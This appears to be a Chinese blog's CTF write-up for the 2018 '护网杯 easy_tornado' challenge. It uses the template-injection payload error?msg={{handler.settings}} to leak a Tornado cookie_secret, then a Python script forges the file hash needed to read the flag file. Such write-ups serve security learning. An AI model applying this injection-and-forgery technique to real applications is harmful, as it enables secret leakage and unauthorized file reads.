护网杯_2018 easy_tornado


[护网杯 2018]easy_tornado

进入三个文件

/flag.txt
flag in /fllllllllllllag
file?filename=/flag.txt&filehash=9053c61f6b76e014b1e003957ee5b546

/welcome.txt
render
file?filename=/welcome.txt&filehash=7d2c2069a844d7a93c2d6ee197618bd6

/hints.txt
md5(cookie_secret+md5(filename))
file?filename=/hints.txt&filehash=b01fb2c2497da3d0979b7965d57a95dc

猜测payload

file?filename=/fllllllllllllag&filehash=`md5(cookie_secret+md5(/fllllllllllllag))`

现在主要就是找cookie_secret

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用,从render可以猜测是模板注入

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

payload
error?msg={{handler.settings}}
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '591f8ab1-795d-4d61-9975-6da84c69a663'}

用脚本跑得到filehash

import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="591f8ab1-795d-4d61-9975-6da84c69a663"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

610463dc2fc8906a2682dd82ca291cec

最终payload

file?filename=/fllllllllllllag&filehash=610463dc2fc8906a2682dd82ca291cec

得到flag


文章作者: 0xdadream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0xdadream !
评论
  目录